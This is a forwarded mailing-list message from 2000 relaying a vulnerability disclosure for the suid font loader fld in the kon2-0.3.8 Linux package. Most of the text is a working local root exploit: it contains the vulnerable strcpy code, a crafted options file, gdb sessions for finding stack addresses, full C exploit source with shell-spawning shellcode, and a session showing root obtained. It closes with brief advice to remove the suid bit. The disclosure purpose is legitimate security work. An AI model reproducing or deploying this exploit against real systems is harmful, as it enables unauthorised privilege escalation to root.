----- Forwarded message from Elias Levy <[EMAIL PROTECTED]> -----
> From: Elias Levy <[EMAIL PROTECTED]>
> Reply-To: [EMAIL PROTECTED]
> X-Mailer: Mutt 1.0.1i
> Date: Fri, 4 Aug 2000 09:56:42 -0700
> To: [EMAIL PROTECTED]
> Subject: kon2
>
> ----- Forwarded message from Black Sphere <[EMAIL PROTECTED]> -----
>
> Message-ID: <000801bffc78$b8ab4390$0100a8c0@sphere>
> From: "Black Sphere" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Subject: Bugtraq List
> Date: Wed, 2 Aug 2000 12:56:39 +0100
> X-Mailer: Microsoft Outlook Express 5.00.2919.6700
>
> I�ve send this e-mail to [EMAIL PROTECTED], but i haven�t seen it in the
>mailing list,
> so i send it to you.
>
>
>--------------------------------------------------------------------------------------------------------------------------------------------
>
> Info :
>
> Package : kon2-0.3.8
> Compromise : root
> Vulnerable Sistems : All linux sistems that have this package installed.
> Author : E-Ligth (Hugo Oliveira Dias) - mail : [EMAIL PROTECTED]
>
> Discussion :
>
> There is a vulnerable suid program, called FLD that is part of the kon2-0.3.8
> package. This program accepts options input from a text file and its possible
> to input arbitrary code into the stack and spawning a root shell.
>
> Exploit:
>
> This is the vulnerable part of the program :
>
> -------------------------------------- bdf.c
>-------------------------------------------------
>
> while (fgets (line, 256, fp))
> {
> if (!width && !high &&
> !strncmp ("FONTBOUNDINGBOX", line, strlen ("FONTBOUNDINGBOX")))
> {
> p = line + sizeof ("FONTBOUNDINGBOX");
> sscanf (p, "%d %d", &width, &high);
> }
> else if (!strncmp ("CHARSET_REGISTRY", line, 16))
> {
> p = line + sizeof ("CHARSET_REGISTRY");
> while (*p != '"')
> p++;
> w = ++p;
> while (*p != '"')
> p++;
> *p = '\0';
> strcpy (reg, w);
> }
>
> -------------------------------------- bdf.c
>-------------------------------------------------
>
> As we can see , it reads 256 bytes from the file. If our options file looks
>like
> this :
>
> -------------------------------------- options
>-------------------------------------------------
> CHARSET_REGISTRY
> CHARSET_REGISTRY "0000000000000000000000
> CHARSET_REGISTRY "ISO8859"
> CHARSET_ENCODING "1"
> -------------------------------------- options
>-------------------------------------------------
>
> The program will do p++ while it *p != '"'
> If we write a exploit program that writes to an environment variable the code and
> adresses we need between quotes, its possibele to put the value of the environment
> variable in variable reg with strcpy.
>
> When we define a environment variable, the whole environment, including our
>variable,
> will be at the end of the stack.So if we don�t put quotes in the options file,
> variable w will point to our code.If we find quotes somewhere in the memory, before
> our code appears, we just add : CHARSET_REGISTRY lines, until all the quotes that
>are
> before our code in the stack becames : '\0' (When *p = '\"' for second time, it
>will
> convert '\"' to '\0').
>
> The size of the buffer must be 541 :
> Stack looks like this
>
> 256 256 4 4 4 4
> [ reg ] [ line ] [ fsp ] [ ret ] [ fp ] [...] ............[EGG = \"...our code
>...\"]...
>
> We cannot destroy the adresses after ret with the '\0' char of strcpy(), so we must
> use GDB and a version of FLD compiled with the -ggdb option and get two or three
>values
> after [ret] that cannot be destroyed and must be replaced.
>
> For this we do :
>
> [sphere@fire font]# gdb fld
>
> GNU gdb 19991116
> Copyright 1998 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, and you are
> welcome to change it and/or distribute copies of it under certain conditions.
> Type "show copying" to see the conditions.
> There is absolutely no warranty for GDB. Type "show warranty" for details.
> This GDB was configured as "i586-mandrake-linux"...
> (gdb) set args -type bdf ./cod
> (gdb) break FontLoadBdf
> Breakpoint 1 at 0x8049a14: file bdf.c, line 31.
> (gdb) r
> Starting program: /usr/src/RPM/SOURCES/kon2-0.3.8/font/fld -type bdf ./options
>
> Breakpoint 1, FontLoadBdf (fp=0x804c590) at bdf.c:31
> 31 fi.type = CodingByRegistry ("ISO8859-1");
>
> (gdb) x/6aw $ebp
> 0xbffff8fc: 0xbffffa3c 0x8049326 <main+694> 0x804c590 0xbffffbef
> 0xbffff90c: 0x40013460 0x0
> (gdb)
> (gdb) print reg + 20
> $1 = 0xbffff710 "`4\001@�\003"
> (gdb) c
> Continuing.
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x8049af1 in FontLoadBdf (fp=0x804c590) at bdf.c:49
> 49 p++;
> (gdb)
>
>
> We change xp.c program with the rigth adresses.
> All equal to that except "0x8049326 <main+694>" that will become "0xbffff710"
>
> Then we copy /usr/bin/fld to our home directory and use gdb tomake a break at
>fgets()
> This will give us the value next to [ret].
>
> [sphere@fire font]# gdb fld
> GNU gdb 19991116
> Copyright 1998 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, and you are
> welcome to change it and/or distribute copies of it under certain conditions.
> Type "show copying" to see the conditions.
> There is absolutely no warranty for GDB. Type "show warranty" for details.
> This GDB was configured as "i586-mandrake-linux"...(no debugging symbols found)...
> (gdb) break fgets
> Breakpoint 1 at 0x8048a5c
> (gdb) set args -type bdf ./cod
> (gdb) r
> Starting program: /usr/src/RPM/SOURCES/kon2-0.3.8/font/fld -type bdf ./cod
>
> Breakpoint 1, 0x40064ad5 in _IO_fgets (buf=0xbffff7fc "�6\001\002\001", n=256,
>fp=0x804bf90) at iofgets.c:34
> 34 iofgets.c: No such file or directory.
>
> Now we have the rigth "fp" address
>
> We change xp.c addresses again.
>
> -------------------------------------- xp.c
>----------------------------------------------------
> /* Exploit code for /usr/bin/fld
>
> Compile with : gcc -o xp xp.c
>
> Made by : E-Ligth (Hugo Oliveira Dias) 01/08/2000
> */
>
>
> #include <string.h>
> #include <stdlib.h>
> #include <stdio.h>
>
> #define OFFSET 0
> #define BUFFSIZE 541
> #define NOP 0x90
>
> char shellcode[] =
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> "\x80\xe8\xdc\xff\xff\xff/bin/zh";
>
> unsigned long get_esp(void) {
> __asm__("movl %esp,%eax");
> }
>
> int main(int argc,char *argv[])
> {
> int bsize = BUFFSIZE;
> int offset = OFFSET;
> int i;
> long *addr_ptr, addr;
> char *ptr,*buf,*env;
> char arg[30];
>
> if (!(buf = malloc(bsize))) {
> printf("Can't allocate memory.\n");
> exit(0);
> }
>
>
> ptr = buf;
> for (i = 0; i < bsize; i++)
>
> *(ptr++) = shellcode[i];
>
> buf[519] = 0x3c; /* Saved EBP 0xbffffa3c */
> buf[520] = 0xfa;
> buf[521] = 0xff;
> buf[522] = 0xbf;
>
> buf[523] = 0x10; /* Return Address 0xbffff710 */
> buf[524] = 0xf7;
> buf[525] = 0xff;
> buf[526] = 0xbf;
>
> buf[527] = 0x90; /* fp variable 0x804bf90 */
> buf[528] = 0xbf;
> buf[529] = 0x04;
> buf[530] = 0x08;
>
> buf[531] = 0xef; /* variable thats shouldn�t be destroyed 0xbffffbef */
> buf[532] = 0xfb;
> buf[533] = 0xff;
> buf[534] = 0xbf;
>
> buf[535] = 0x60; /* variable thats shouldn�t be destroyed 0x40013460 */
> buf[536] = 0x34;
> buf[537] = 0x01;
> buf[538] = 0x40;
>
> memcpy(buf,"-type \"",7);
> buf[540] = '\0';
> buf[539] = '\"';
>
> memcpy(arg,"-type bdf ./code",16);
> arg[16] = '\0';
>
> env = (char *) malloc(bsize + 10);
> memcpy(env,"EGG=",4);
>
> strcat(env,buf);
>
> putenv(env);
>
> system("/bin/bash");
>
> exit(0);
> -------------------------------------- xp.c
>----------------------------------------------------
>
> Now all we have to do is :
>
> [sphere@fire my]$ gcc -o xp xp.c
> [sphere@fire font]$ ./xp
> [sphere@fire font]$ fld -type bdf ./options
> dircolors: no SHELL environment variable, and no shell type option given
> /etc/profile.d/color_ls.sh:3: parse error: condition expected: =
> sphere@fire ~/my $ whoami
> root
> sphere@fire ~/my $
>
>
> This code uses zsh with the name of zh to spawn the shell.
> The exploit code was developed to participate in Wargames of www.hack3r.com.
> The target computer was the host hercules.hacker.org running Turbo Linux 6.0.4
> and my distribution is Linux Mandrake 7.0.Both revealed to be vulnerable to this
> exploit. I think Debian also as this package but i don�t try this exploit in it.
>
> Solving :
>
> I didn't work on the patch because i�ve no time, but i advise people to remove
> suid from that program until a patch is available.
>
>
>
> I didn't know where to report the bug first, because is the first time i find
> a suid exploitable program, so i send it to you www.securityfocus.com and so
> the problem can be solved.
>
>
> Thanks for your attention,
>
> E-Ligth (Hugo Oliveira Dias)
>
> Email : [EMAIL PROTECTED]
>
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 6.0 for non-commercial use <http://www.pgp.com>
>
> iQA/AwUAOYYsk8IMfhGvrGFNEQLsxACggUulavLEue099ivMmV+kCIZGyI4AnRP9
> xQKBluwLd4xFOUMC35Cmd/Jw
> =85FF
> -----END PGP SIGNATURE-----
>
>
> ----- End forwarded message -----
>
> --
> Elias Levy
> SecurityFocus.com
> http://www.securityfocus.com/
> Si vis pacem, para bellum
>
>
----- End forwarded message -----
--------------------------------------------------------------------------
Utk berhenti langganan, kirim email ke [EMAIL PROTECTED]
Informasi arsip di http://www.linux.or.id/milis.php3
Pengelola dapat dihubungi lewat [EMAIL PROTECTED]